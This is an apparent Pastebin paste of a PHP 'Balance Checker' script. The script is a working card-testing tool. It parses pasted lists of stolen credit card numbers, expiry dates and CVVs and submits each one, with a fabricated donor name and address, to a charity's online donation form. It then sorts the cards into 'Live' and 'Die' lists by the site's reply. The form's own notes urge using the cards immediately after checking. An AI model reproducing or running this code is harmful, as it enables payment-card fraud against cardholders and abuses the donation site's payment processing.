Advertisement
Jancuokjaran

balance checker

Aug 29th, 2018
72
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 14.32 KB | None | 0 0
  1. <?php
  2. //login
  3.  
  4. $config['lon_me_may_1'] = 'pass';
  5. $config['lon_me_may_2'] = 'pass';
  6.  
  7. if ($_SERVER['PHP_AUTH_USER'] != $config['lon_me_may_1'] || $_SERVER['PHP_AUTH_PW'] != $config['lon_me_may_2']){
  8. header('WWW-Authenticate: Basic realm="Security by iZy"');
  9. header('HTTP/1.0 401 Unauthorized');
  10.  
  11.  
  12.  
  13. echo '<head>
  14. <meta http-equiv="Content-Language" content="en-us">
  15. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
  16. </head>
  17.  
  18. <body>
  19.  
  20.  
  21. <br><br><br>
  22. <center>Used Chrome !</center></body>';
  23. exit;
  24. }
  25.  ?>
  26. <html>
  27. <head>
  28. <title>--[ Balance Checker ]--</title>
  29.  
  30. <script type="text/javascript">
  31. $(document).ready(function(){
  32.     if(document.location.href.indexOf('ccv1')>0){
  33.         document.getElementById("home").setAttribute("class", null);
  34.         document.getElementById("ccv1").setAttribute("class", "active");
  35.     }
  36.     else if(document.location.href.indexOf('ccv')>0){
  37.         document.getElementById("home").setAttribute("class", null);
  38.         document.getElementById("ccv").setAttribute("class", "active");
  39.     }
  40.     else if(document.location.href.indexOf('ccn')>0){
  41.         document.getElementById("home").setAttribute("class", null);
  42.         document.getElementById("ccn").setAttribute("class", "active");
  43.     }
  44.     else if(document.location.href.indexOf('paypal')>0){
  45.         document.getElementById("home").setAttribute("class", null);
  46.         document.getElementById("paypal").setAttribute("class", "active");
  47.     }
  48. });
  49. </script>
  50. </head>
  51. <body>
  52.    
  53. <body>
  54. <!--
  55. /*
  56.  
  57.            _____           __  __          _ _______ ______ _____   _____
  58. | |  | | / ____|          |  \/  |   /\   | |__   __|  ____|  __ \ / ____|
  59. | |  | | | |  ___    __   | \  / |  /  \ / __) | |  | |__  | |__) | (___  
  60. | |  | | | | |_| |  |__|  | |\/| | / /\ \\__ \ | |  |  __| |  _  / \___ \  
  61. | |__| | | |___| |        | |  | |/ ____ (   / | |  | |____| | \ \ ____) |
  62. |______| \_______|        |_|  |_/_/    \_\_|  |_|  |______|_|  \_\_____/
  63.  
  64. Ðm th?ng nào xóa dòng ch? này
  65. */
  66.  
  67.  -->
  68.  
  69. <?php
  70. ob_start();
  71. @session_start();
  72. set_time_limit(0);
  73. function _curl($url,$post="",$usecookie = false) {  
  74.     $ch = curl_init();
  75.     if($post) {
  76.         curl_setopt($ch, CURLOPT_POST ,1);
  77.         curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
  78.     }
  79.     curl_setopt($ch, CURLOPT_URL, $url);
  80.     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  81.     curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/6.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3");
  82.     curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  83.     curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  84.     if ($usecookie) {
  85.     curl_setopt($ch, CURLOPT_COOKIEJAR, $usecookie);
  86.     curl_setopt($ch, CURLOPT_COOKIEFILE, $usecookie);    
  87.     }
  88.     curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  89.     $result=curl_exec ($ch);
  90.     curl_close ($ch);
  91.     return $result;
  92. }
  93.  
  94.  
  95. function percent($num_amount, $num_total) {
  96. $count1 = $num_amount / $num_total;
  97. $count2 = $count1 * 100;
  98. $count = number_format($count2, 0);
  99. return $count;
  100. }
  101.  
  102. function getStr($string,$start,$end){
  103.     $str = explode($start,$string);
  104.     $str = explode($end,$str[1]);
  105.     return $str[0];
  106. }
  107.  
  108. function checkMon($date,$type){
  109.     $len = strlen($date);
  110.     if ($type == 2){
  111.         if($len == 2){
  112.             return $date;
  113.         }
  114.         elseif($len == 1){
  115.             switch($date){
  116.                 case '1':  $date='01'; break;
  117.                 case '2':  $date='02'; break;
  118.                 case '3':  $date='03'; break;
  119.                 case '4':  $date='04'; break;
  120.                 case '5':  $date='05'; break;
  121.                 case '6':  $date='06'; break;
  122.                 case '7':  $date='07'; break;
  123.                 case '8':  $date='08'; break;
  124.                 case '9':  $date='09'; break;
  125.             }
  126.         }
  127.         return $date;
  128.     }
  129.     elseif ($type == 1){
  130.         if($len == 2){
  131.             switch ($date){
  132.                 case '01':  $date='1'; break;
  133.                 case '02':  $date='2'; break;
  134.                 case '03':  $date='3'; break;
  135.                 case '04':  $date='4'; break;
  136.                 case '05':  $date='5'; break;
  137.                 case '06':  $date='6'; break;
  138.                 case '07':  $date='7'; break;
  139.                 case '08':  $date='8'; break;
  140.                 case '09':  $date='9'; break;
  141.                 case '10': $date='10'; break;
  142.                 case '11': $date='11'; break;
  143.                 case '12': $date='12'; break;
  144.             }
  145.             return $date;
  146.         }
  147.         elseif($len == 1) return $date;
  148.     }
  149.     else return false;
  150. }
  151.  
  152.  
  153. function checkYear($date,$type){
  154.     $len = strlen($date);
  155.     if($type == 4){
  156.         if($len == 4) return $date;
  157.         elseif($len == 2) return "20".$date;
  158.     }
  159.     elseif($type == 2){
  160.         if($len == 2) return $date;
  161.         elseif($len == 4) return substr($date,-2);
  162.     }
  163.     else return false;
  164. }
  165.  
  166. function multi_explode($pattern, $string, $standardDelimiter = ':'){
  167.     $string = preg_replace(array($pattern, "/{$standardDelimiter}+/s"), $standardDelimiter, $string);
  168.     return explode($standardDelimiter, $string);
  169. }
  170.  
  171. function info($ccline,$type){
  172.     $iscvv = 1;
  173.     $pattern = '/[:\|\\\\\/\s]/';
  174.     $line = multi_explode($pattern,$ccline);
  175.    
  176.     $typemy = explode(" ",$type);
  177.     $typem = strlen($typemy[0]);
  178.     $typey = strlen($typemy[1]);
  179.    
  180.     $amex = "3";
  181.     $VISA = "4";
  182.     $MC = "5";
  183.     $disc = "6";
  184.  
  185.     foreach($line as $col){
  186.         if(is_numeric($col)){
  187.             switch(strlen($col)){
  188.                 case 15:
  189.                     if(substr($col,0,1)==3){
  190.                         $ccnum['num'] = $col;
  191.                         $ccnum['type'] = $amex;
  192.                     }
  193.                     break;
  194.                 case 16:
  195.                     switch(substr($col,0,1)){
  196.                         case '4':
  197.                             $ccnum['num'] = $col;
  198.                             $ccnum['type'] = $VISA;
  199.                             break;
  200.                         case '5':
  201.                             $ccnum['num'] = $col;
  202.                             $ccnum['type'] = $MC;
  203.                             break;
  204.                         case '6':
  205.                             $ccnum['num'] = $col;
  206.                             $ccnum['type'] = $disc;
  207.                             break;
  208.                     }
  209.                     break;
  210.                 case 1:
  211.                     if (($col >= 1) and ($col <=12) and (!isset($ccnum['mon']))) $ccnum['mon'] = checkMon($col,$typem); break;
  212.                 case 2:
  213.                     if (($col >= 1) and ($col <=12) and (!isset($ccnum['mon']))){
  214.                         $ccnum['mon'] = checkMon($col,$typem);
  215.                     }
  216.                     elseif (($col >= 9) and ($col <= 19) and (isset($ccnum['mon'])) and (!isset($ccnum['year'])))    $ccnum['year'] = checkYear($col,$typey);
  217.                     break;
  218.                 case 4:
  219.                     if (($col >= 2009) and ($col <= 2019) and (isset($ccnum['mon'])))    $ccnum['year'] = checkYear($col,$typey);
  220.                     elseif ((substr($col,0,2) >= 1) and (substr($col,0,2) <=12) and (substr($col,2,2)>= 9) and (substr($col,2,2) <= 19) and (!isset($ccnum['mon'])) and (!isset($ccnum['year']))){
  221.                         $ccnum['mon'] = checkMon(substr($col,0,2),$typem);
  222.                         $ccnum['year'] = checkYear(substr($col,-2),$typey);
  223.                     }
  224.                     else $ccv['cv4'] = $col;
  225.                     break;
  226.                 case 6:
  227.                     if ((substr($col,0,2) >= 1) and (substr($col,0,2) <=12) and (substr($col,2,4)>= 2009) and (substr($col,2,4) <= 2019)){
  228.                         $ccnum['mon'] = checkMon(substr($col,0,2),$typem);
  229.                         $ccnum['year'] = checkYear(substr($col,-2),$typey);
  230.                     }
  231.                     break;
  232.                 case 3:
  233.                     $ccv['cv3'] = $col;
  234.                     break;
  235.             }
  236.         }
  237.     }
  238.     if($iscvv == 1){
  239.         if ($ccnum['type'] == $amex) $ccnum['cvv'] = $ccv['cv4'];
  240.         else $ccnum['cvv'] = $ccv['cv3'];
  241.         return $ccnum;
  242.     }
  243.     else return $ccnum;
  244. }
  245.  
  246. function inStr($s,$as){
  247.     $s=strtoupper($s);
  248.     if(!is_array($as)) $as=array($as);
  249.     for($i=0;$i<count($as);$i++) if(strpos(($s),strtoupper($as[$i]))!==false) return true;
  250.     return false;
  251. }
  252.  
  253. if ($_POST['cclist']){
  254.         global $cookie;
  255.         $cookie = tempnam('cookie','avo'.rand(1000000,9999999).'iZyxxxx.txt');    
  256.  
  257.         $cclive = "";
  258.         $ccdie = "";
  259.         $ccerr = "";
  260.         $cccant = "";
  261.         $uncheck = "";
  262.        
  263.         $cclist = trim($_POST['cclist']);
  264.         $cclist = str_replace(array("\\\"","\\'"),array("\"","'"),$cclist);
  265.         $cclist = str_replace("\r\r","\r",$cclist);
  266.         $cclist = str_replace("\n\n","\n",$cclist);
  267.         $cclist = explode("\n",$cclist);
  268.         if (!isset($_GET['n']))
  269.        
  270.                  
  271.                
  272.         $STT = 0;
  273.         $TOTAL = count($cclist);
  274.        
  275.      
  276.         for($i=0;$i<count($cclist);$i++){
  277.             $ccnum = info($cclist[$i],"xx yyyy");
  278.             $type = $ccnum['type'];
  279.             $ccn = $ccnum['num'];
  280.             $ccmon = $ccnum['mon'];
  281.             $ccyear = $ccnum['year'];
  282.             $cvv = $ccnum['cvv'];
  283.             $balance = $_POST['balance'];
  284.            
  285.            
  286.             if ($ccn){
  287.                 $STT++;
  288.                
  289.                 $ref = "https://hhv.secure-donor.com/donate?source=WEBCC&";
  290.                 $url = "https://hhv.secure-donor.com/donate?source=WEBCC&";
  291.                 $s = _curl($url,"",$cookie,$url);
  292.        
  293.                 $state1 = urlencode(getStr($s,'hidden" name="token" value="','"'));
  294.                 $state2 = urlencode(getStr($s,'EVENTVALIDATION" id="__EVENTVALIDATION" value="','"'));
  295.                 $method = getStr($s,'selected="selected" value="','"');
  296.                
  297.                
  298.                 $url = "https://hhv.secure-donor.com/donate?source=WEBCC&";
  299.                 $post = "email_field=&token=$state1&anti_bot=&first_name=Rosanna&last_name=Sickels&corporate_name=&address=11652+Duque+Dr&address2=&city=Spring+Grove&country=227&state=IL&zip=60081&phone=&email=$ccn%40hihih.com&confirm_email=$ccn%40hihih.com&amount=other&other_amount=$balance&tribute_type=&tribute_title=&tribute_first_name=&tribute_last_name=&tribute_suffix=&tribute_notify=no&tribute_notify_title=&tribute_notify_first_name=&tribute_notify_last_name=&tribute_notify_suffix=&tribute_notify_email=&tribute_notify_address=&tribute_notify_city=&tribute_notify_state=&tribute_notify_zip=&card_type=$type&card_number=$ccn&card_code=$cvv&expire_month=$ccmon&expire_year=$ccyear&payment_recurrence=one_time&__response_id=112102";
  300.                 $s = _curl($url,$post,$cookie,array('Referer: https://hhv.secure-donor.com/donate?source=WEBCC&'));
  301.                
  302.                 if(inStr($s,array("Thank"))){
  303.                     echo "<cennter>$STT/$TOTAL |Balance: ".$balance."| <font color=blue><b>Live ==> | </font></b>".$cclist[$i]."<br></center>";
  304.                     $cclive .= "[ iZy.VN ] Live ==> " . $cclist[$i]."\n";
  305.                 }
  306.                 // elseif(stristr($s,"<li>Your transaction failed: The transaction has been declined because of an AVS mismatch. The address provided does not match billing address of cardholder.</li>")){
  307.                 elseif(stristr($s,"Enter Name and Address")){
  308.                     echo "<cennter>$STT/$TOTAL |Balance: ".$balance."| <font color=red><b>Die    ==> | </font></b>".$cclist[$i]."<br></center>";  
  309.                     $ccdie .= $cclist[$i]."\n";
  310.                 }
  311.                 else{
  312.                     echo "<cennter>$STT/$TOTAL |Balance: ".$balance."| <font color=orange><b>Cant check ==> | </font></b>".$cclist[$i]."<br></center>";
  313.                     $cccant .= $cclist[$i]."\n";
  314.                 }
  315.             }
  316.            
  317.             flush();
  318.            
  319.         }
  320.         unlink($cookie);
  321.  
  322.         $per1 = percent(count(explode("\n",$cclive))-1,count($cclist));
  323.         $per2 = percent(count(explode("\n",$ccdie))-1,count($cclist));
  324.         $per3 = percent(count(explode("\n",$ccerr))-1,count($cclist));
  325.         $per4 = percent(count(explode("\n",$cccant))-1,count($cclist));
  326.         $per5 = percent(count(explode("\n",$uncheck))-1,count($cclist));
  327.         echo '<br><br><center><a href="?" class="button red">Next Check</a></center>';
  328.         echo "<center>";
  329.         if($cclive!=""){
  330.             echo "<h2><font color=blue>Live</font> $per1 % (".(count(explode("\n",$cclive))-1)."/".count($cclist).")</h2>";
  331.             echo "<textarea cols=90 rows=10>$cclive</textarea><br>";
  332.         }
  333.         if($ccdie!=""){
  334.             echo "<h2><font color=red>Die</font> $per2 % (".(count(explode("\n",$ccdie))-1)."/".count($cclist).")</h2>";
  335.             echo "<textarea cols=90 rows=10>$ccdie</textarea><br>";
  336.         }
  337.         if($ccerr!=""){
  338.             echo "<h2><font color=orange>Error</font> $per3 % (".(count(explode("\n",$ccerr))-1)."/".count($cclist).")</h2>";
  339.             echo "<textarea cols=90 rows=10>$ccerr</textarea><br>";
  340.         }
  341.         if($cccant!=""){
  342.             echo "<h2><font color=green>CantCheck</font> $per4 % (".(count(explode("\n",$cccant))-1)."/".count($cclist).")</h2>";
  343.             echo "<textarea cols=90 rows=10>$cccant</textarea><br>";
  344.         }
  345.         if($uncheck!=""){
  346.             echo "<h2><font color=green>Unknow</font> $per5 % (".(count(explode("\n",$uncheck))-1)."/".count($cclist).")</h2>";
  347.             echo "<textarea cols=90 rows=10>$uncheck</textarea><br>";
  348.         }
  349.      
  350. }
  351. else{
  352. ?>
  353. <html>
  354. <title>--[ Balance Checker ]--</title>
  355.  
  356. <body>
  357. <center><h1>--[ Balance Checker ]--</h1>
  358. <font color="red" size="4">Code By iZy--</font>
  359. <br>Credit Card List:<br>
  360.     <form action="" method=post name=f>
  361.         <textarea wrap="off" name=cclist cols=90 rows=20>
  362. # Accept type: Visa, MasterCard, AmericanExpress, Discover
  363. # Accept Country: All
  364. # No-charg, No-kill ,No-Log    
  365. # Limit 5  line
  366. #Use Immediately After Checker</textarea><br>
  367.         <b>Amount </b> : <input class="text" style="width:150px;" name="balance" value="10" MAXLENGTH=4 size=8 />
  368.         <br> <input style="width:100px;" class="button" type=submit name=submit size=10 onClick="this.value='wait...';" value="CHECK NOW">
  369.     </form>
  370. <?php }?>
  371. </body>
  372. </html>
  373.  
  374. <?
  375. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement